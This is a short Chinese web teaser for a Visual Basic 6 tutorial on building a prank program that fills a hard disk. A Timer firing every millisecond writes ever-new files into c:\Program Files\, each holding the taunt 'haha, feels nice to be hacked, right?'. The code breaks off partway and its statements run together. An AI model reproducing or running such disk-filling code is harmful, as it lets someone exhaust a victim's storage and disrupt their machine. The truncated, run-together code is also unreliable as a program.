首先新建一个.exe工程，然后在窗体中加入timer控件，设置timer的interval＝1，双点timer控件，输入以下代码Private Sub Timer1_Timer()
Dim files As StringDim nr As StringDim c As StringStatic count As Long ‘声明变量，其中“count”为静态变量，以便生成不同的文件c = "c:\Program Files\" ’定义要把生成的文件存放在那个目录文件下nr = "哈哈，被黑的感觉的不错吧" ’生成文件的内容files = FreeFileIf a = a ...
塞满硬盘, 随机产生文件阅读全文